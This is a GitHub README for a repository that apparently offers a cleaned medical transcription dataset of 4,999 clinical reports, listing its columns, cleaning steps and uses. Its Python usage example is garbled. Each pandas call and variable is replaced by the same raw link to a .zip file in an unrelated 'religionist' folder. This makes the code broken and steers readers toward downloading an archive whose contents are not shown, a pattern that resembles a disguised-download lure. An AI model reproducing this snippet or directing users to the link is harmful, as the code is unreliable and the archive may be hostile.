Skip to content

About

Cleaned and organized medical transcription dataset containing 4,999 real-world clinical reports across multiple specialties. Perfect for medical NLP, specialty classification, and healthcare-related AI/ML projects.

Resources

Stars

1 star

Watchers

0 watching

Forks

Repository files navigation

🩺 Medical Transcription Dataset Cleaner

This project provides a cleaned version of the mtsamples medical transcription dataset, containing real-world clinical transcription reports. It is intended for educational and machine learning purposes, such as medical NLP, specialty classification, symptom tagging, and more.


📄 Dataset Overview

  • 📊 Total Samples: 4,999
  • 🧠 Columns:
Column Name Description
description A short title summarizing the case
medical_specialty The medical field involved (e.g., Cardiology, Neurology)
sample_name Unique label identifying the sample
transcription Full medical transcription (clinical report)
keywords Comma-separated keywords related to the case

Note: The dataset originally had an index column Unnamed: 0 which has been removed in the cleaned version.


🧹 Data Cleaning Performed

  • ✅ Removed unnecessary index column (Unnamed: 0)
  • ✅ Dropped or handled rows with null transcription or keywords
  • ✅ Standardized case and spacing
  • ✅ Ensured all records contain clean, usable data for NLP modeling

🧪 Usage Example

You can load and explore the cleaned dataset in a notebook:

import pandas as pd

df = https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip("https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip")

# View structure
print(https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip)
print(https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip)

# View sample
https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip()

📊 Example Records

Description Medical Specialty Keywords (Preview)
2-D M-Mode. Doppler. Cardiovascular / Pulmonary doppler, echocardiogram, heart
A 23-year-old white female... Allergy / Immunology allergic rhinitis, immunology
Consult for gastric bypass Bariatrics gastric bypass, weight loss

🤖 Potential Applications

  • Medical NLP (Named Entity Recognition, Classification)
  • Text classification (by specialty or diagnosis)
  • Building medical question-answering systems
  • Summarization of clinical notes

🛠 Requirements

Install dependencies:

pip install pandas matplotlib seaborn

👤 Author

Cleaned and maintained by Yekini Khalid Kolawole

About

Cleaned and organized medical transcription dataset containing 4,999 real-world clinical reports across multiple specialties. Perfect for medical NLP, specialty classification, and healthcare-related AI/ML projects.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages